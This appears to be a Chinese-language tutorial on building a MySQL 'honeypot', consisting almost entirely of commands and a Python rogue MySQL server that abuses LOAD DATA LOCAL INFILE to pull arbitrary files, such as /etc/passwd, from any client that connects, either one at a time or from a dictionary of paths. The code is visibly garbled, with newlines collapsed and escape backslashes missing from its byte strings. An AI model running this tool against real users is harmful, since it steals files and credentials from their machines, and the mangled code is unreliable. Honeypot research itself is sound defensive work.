MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客

docker pull mysql:latest

docker run -itd --name mysql-test -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql

mysql -h 192.168.244.129 -u root -p

show global variables like 'local_infile';

set global local_infile=1;

mousepad fancypig.txt

load data local infile '/home/fancypig/桌面/fancypig.txt' into table test fields terminated by 'n';

load data local infile '/etc/passwd' into table test fields terminated by 'n';

# -*- coding: utf-8 -*-import socketimport osimport sysfrom pathlib import Pathimport platformclass MySQLFileReader:
    def __init__(self, port):        self.port = port        self.sv = socket.socket()        self.sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)        self.sv.bind(("", port))        self.sv.listen(5)
    def mysql_get_file_content(self, filename):        conn, address = self.sv.accept()        print(f"收到连接: {address[0]}")        logpath = os.path.abspath('.') + "/log/" + address[0]        if not os.path.exists(logpath):            os.makedirs(logpath)
        server_version = b"x0ax35x2ex35x2ex35x33"        if platform.system() == "Linux":            server_version = b"x0ax35x2ex37x2ex32x39"
        conn.sendall(b"x4ax00x00x00" + server_version + b"x00x17x00x00x00x6ex7ax3bx54x76x73x61x6ax00xffxf7x21x02x00x0fx80x15x00x00x00x00x00x00x00x00x00x00x70x76x21x3dx50x5cx5ax32x2ax7ax49x3fx00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00")        conn.recv(9999)        conn.sendall(b"x07x00x00x02x00x00x00x02x00x00x00")        conn.recv(9999)
        wantfile = (len(filename) + 1).to_bytes(1, 'big') + b"x00x00x01xFB" + filename.encode()        conn.sendall(wantfile)        content = conn.recv(9999)        conn.close()
        if len(content) > 4:            content_str = content.decode()            with open(logpath + "/" + Path(filename).name, "w") as txt:                txt.write(content_str)            print(f"文件内容: n{content_str}")            return True        else:            return False
    def read_files_from_input(self):        print(f"已在 {self.port} 端口启用MySQL蜜罐")        while True:            filename = input("请输入接下来你想读的文件名 (直接按回车退出): ")            if filename == "":                break            res = self.mysql_get_file_content(filename)            if res:                print(f"文件已保存 ---> {filename}")            else:                print(f"文件未找到 ---> {filename}")
    def read_files_from_dict(self, dict_file):        print(f"已在 {self.port} 端口启用MySQL蜜罐")        with open(dict_file) as dicc:            for line in dicc.readlines():                line = line.strip("n")                res = self.mysql_get_file_content(line)                if res:                    print(f"文件已保存 ---> {line}")                else:                    print(f"文件未找到 ---> {line}")

if __name__ == "__main__":    port = int(input("请输入监听端口号: "))    mode = input('''请选择读取模式: 【1】从输入读取文件【2】从字典读取文件''')
    mysql_file_reader = MySQLFileReader(port)
    if mode == '1':        mysql_file_reader.read_files_from_input()    elif mode == '2':        dict_file = input("请输入字典文件名: ")        mysql_file_reader.read_files_from_dict(dict_file)    else:        print("无效的模式选择，请重新运行程序并输入正确的模式。")

python3 MysqlHoneyPot.py